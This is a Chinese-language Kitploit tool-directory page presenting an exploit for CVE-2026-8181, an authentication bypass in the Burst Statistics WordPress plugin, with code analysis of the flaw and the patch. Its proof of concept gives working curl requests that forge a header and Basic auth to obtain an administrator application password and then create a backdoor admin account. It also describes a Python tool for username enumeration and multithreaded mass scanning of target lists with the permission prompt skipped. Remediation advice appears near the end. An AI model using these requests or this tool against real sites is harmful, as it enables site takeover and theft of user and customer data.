Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-8181 — Burst Statistics – Privacy-Friendly WordPress Analytics(Google Analytics 替代方案)WordPress 插件存在身份验证绕过漏洞。 | Kitploit
工具/GitHubGitHub/yucaerin/cve-2026-8181
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试身份验证学习与教育
GitHubyucaerin/cve-2026-8181

CVE-2026-8181

Burst Statistics – Privacy-Friendly WordPress Analytics(Google Analytics 替代方案)WordPress 插件存在身份验证绕过漏洞。

查看仓库
113个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-8181 — Burst Statistics 3.4.0 – 3.4.1.1 — 身份验证绕过导致管理员账户接管

漏洞摘要

WordPress 插件 Burst Statistics 版本 3.4.0 至 3.4.1.1 存在一个 未经身份验证的身份验证绕过 漏洞,可导致完全 管理员账户接管。这个严重缺陷允许了解任何管理员用户名的未经身份验证的攻击者,通过单个 HTTP 请求为该账户生成一个有效的 WordPress 应用密码,从而获得对整个站点的持久管理员级访问权限。

该漏洞源于 class-mainwp-proxy.php 中的 is_mainwp_authenticated() 函数。该函数调用 wp_authenticate_application_password(),并且仅检查结果是否为 WP_Error。它没有验证结果是否实际上是一个成功的 WP_User 对象。当 WordPress 的内部过滤器 application_password_is_api_request 返回 false(当调用发生在正常 REST API 身份验证流程之外时会发生)时,WordPress 函数返回 null 而非 WP_Error 或 WP_User。由于 null 不是 WP_Error,检查通过,攻击者所选择的管理员用户通过 wp_set_current_user() 被设置为当前用户。

一旦当前用户被切换为管理员,后续的能力检查就会通过。攻击者随后可以访问 /burst/v1/mainwp-auth REST 端点,该端点会为管理员账户创建一个 WordPress 应用密码并在响应中返回。这使攻击者获得持久、完全的管理员级访问权限。

受影响插件

攻击者可以做什么

技术分析

插件初始化与有缺陷的门控

Burst Statistics 在 WordPress 的 plugins_loaded 钩子(优先级 9)中初始化,位于 class-burst.php 中:

root@kitploit:~
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
    $this->admin = new Admin();
    $this->admin->init();
    ...
}

has_admin_access() 是所有管理员功能的门控。它检查 X-BurstMainWP 头,并调用有缺陷的函数:

root@kitploit:~
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
    $mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();

    if ( $mainwp_proxy->is_mainwp_authenticated() ) {
        return burst_loader()->has_admin_access = true;
    }
    ...
}

有缺陷的函数:is_mainwp_authenticated()

root@kitploit:~
// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );

    if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
        $credentials = base64_decode( substr( $auth_header, 6 ), true );
        if ( ! $credentials ) {
            return false;
        }
        $parts = explode( ':', $credentials, 2 );
        if ( count( $parts ) !== 2 ) {
            return false;
        }
        $username = $parts[0];
        $password = $parts[1];

        // 有缺陷:在 REST API 身份验证流程之外,wp_authenticate_application_password() 返回 null
        $is_valid = wp_authenticate_application_password( null, $username, $password );

        // 错误:仅检查结果是否为 WP_Error。null 不是 WP_Error → 通过!
        if ( is_wp_error( $is_valid ) ) {
            return false;
        }

        $user = get_user_by( 'login', $username );
        if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
            return false;
        }
        wp_set_current_user( $user->ID );

        return true;
    }

    return false;
}

为什么 wp_authenticate_application_password() 返回 null

WordPress 内部函数 wp_authenticate_application_password() 有一个过滤器:

root@kitploit:~
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
    return null;  // 不是 API 请求,跳过应用密码认证
}

当在 正常 REST API 身份验证流程之外 调用时,该函数返回 null。Burst Statistics 代码仅检查了 is_wp_error($is_valid) — null 不是 WP_Error,因此检查错误地通过了。

管理员接管的执行路径

  1. 攻击者在任何请求中发送 X-BurstMainWP: 1 头
  2. has_admin_access() 触发 is_mainwp_authenticated()
  3. wp_authenticate_application_password() 返回 null(不在 API 上下文中)
  4. is_wp_error(null) = false → 检查通过
  5. wp_set_current_user($admin_id) 执行
  6. 当前用户现在是所选择的管理员
  7. 攻击者 POST 到 /burst/v1/mainwp-auth
  8. handle_auth_request() 生成一个 WordPress 应用密码
  9. 令牌以 base64(username:app_password) 形式返回
  10. 攻击者使用此令牌获得持久的管理员 REST API 访问权限

补丁分析 (3.4.2)

root@kitploit:~
// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
    return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
    return false;
}

应用的修复:

  • 强制 application_password_is_api_request 过滤器为 true,以便执行实际密码验证
  • 检查结果是否为 WP_User 实例(而非 null)
  • 使用 hash_equals() 验证用户名匹配

此外,REST 端点的 check_auth_permission() 已加强,要求 current_user_can('manage_burst_statistics') 并且对于 cookie 认证的请求需要显式的 nonce 验证。

概念验证

手动 cURL

root@kitploit:~
# 步骤 1:验证目标存在漏洞(生成应用密码)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
  -H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
  -H 'X-BurstMainWP: 1' \
  -H 'Content-Type: application/json' \
  -d '{}'

# 响应:{"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}

# 步骤 2:解码令牌
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev

# 步骤 3:使用应用密码创建一个新管理员
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
  -u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
  -d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'

Python 漏洞利用工具

exploit_burst_statistics.py 脚本自动执行完整的攻击链:

  • 阶段 0:通过 readme.txt、插件头或资源查询字符串进行版本检测
  • 阶段 1:通过 REST API、作者页面或常见用户名列表进行管理员用户名枚举
  • 阶段 2:使用 X-BurstMainWP: 1 + 伪造的基本认证进行认证绕过以生成令牌
  • 阶段 3:令牌验证与结构校验
  • 批量扫描:带实时脆弱目标记录的多线程多目标扫描

漏洞利用特点

  • 无需认证 — 不需要预先访问权限
  • 单个 HTTP 请求即可生成持久应用密码
  • 自动检测 Burst Statistics 版本并跳过已修补的目标
  • 如果未提供管理员用户名,则自动枚举
  • 同时支持美观永久链接(/wp-json/)和丑陋永久链接(/?rest_route=)
  • 使用 ThreadPoolExecutor 进行批量扫描
  • 实时文件写入 — 脆弱目标立即保存,无需等待扫描完成
  • 线程安全的文件锁

使用方法

单个目标(自动枚举管理员)

root@kitploit:~
python3 exploit_burst_statistics.py -t http://target.com --no-confirm

单个目标(已知管理员用户名)

root@kitploit:~
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm

批量扫描

创建 targets.txt:

root@kitploit:~
target1.com
target2.com:8080
192.168.1.50
root@kitploit:~
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm

选项

修复建议

对于开发者和站点所有者:

  1. 立即更新 到 Burst Statistics 3.4.2 或更高版本
  2. 如果无法更新,请暂时禁用该插件
  3. 更新后,撤销管理员账户的所有现有应用密码:
    • WP 后台 → 用户 → [管理员] → 应用密码 → 全部撤销
  4. 检查是否存在未授权的管理员账户或意外的用户创建
  5. 检查服务器日志中是否包含 X-BurstMainWP: 1 头的请求

时间线

日期事件
2026-05-08CVE 预留
2026-05-11通知供应商
2026-05-13公开披露
2026-05-13发布补丁 (v3.4.2)
2026-05-15

研究人员

  • 致谢:Chloe Chamberland — Wordfence PRISM

参考

  • Wordfence 公告
  • CVE 记录
  • 补丁差异 — class-mainwp-proxy.php
  • NVD

免责声明

此信息仅供教育和授权渗透测试目的使用。未经授权利用计算机系统是非法且不道德的。在测试任何您不拥有的目标之前,始终获得明确的书面许可。

下载工具
字段值
插件名称Burst Statistics – Privacy-Friendly WordPress Analytics
插件别名burst-statistics
受影响版本3.4.0 – 3.4.1.1
补丁版本3.4.2
CVE IDCVE-2026-8181
CVSS 评分9.8 (严重)
CVSS 向量CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
漏洞类型身份验证绕过(不正确的身份验证)
CWECWE-287 — 不正确的身份验证
影响完全站点接管 — 管理员账户接管
能力影响
为任何管理员生成应用密码持久管理员访问
通过 REST API 创建新管理员账户账户扩散
安装插件/主题远程代码执行
编辑文章、页面和设置站点篡改
导出或删除所有站点数据数据破坏/窃取
访问 WooCommerce/客户数据数据泄露
标志描述
-t, --target单个目标 URL
-l, --list包含目标列表的文件(每行一个)
-T, --threads批量扫描的线程数(默认:10)
-o, --output结果输出文件(默认:result_burst_statistics.txt)
-u, --username已知的管理员用户名(跳过枚举)
-v, --verbose详细调试输出
--timeout请求超时秒数(默认:20)
--no-confirm跳过权限确认提示
报告野外活跃利用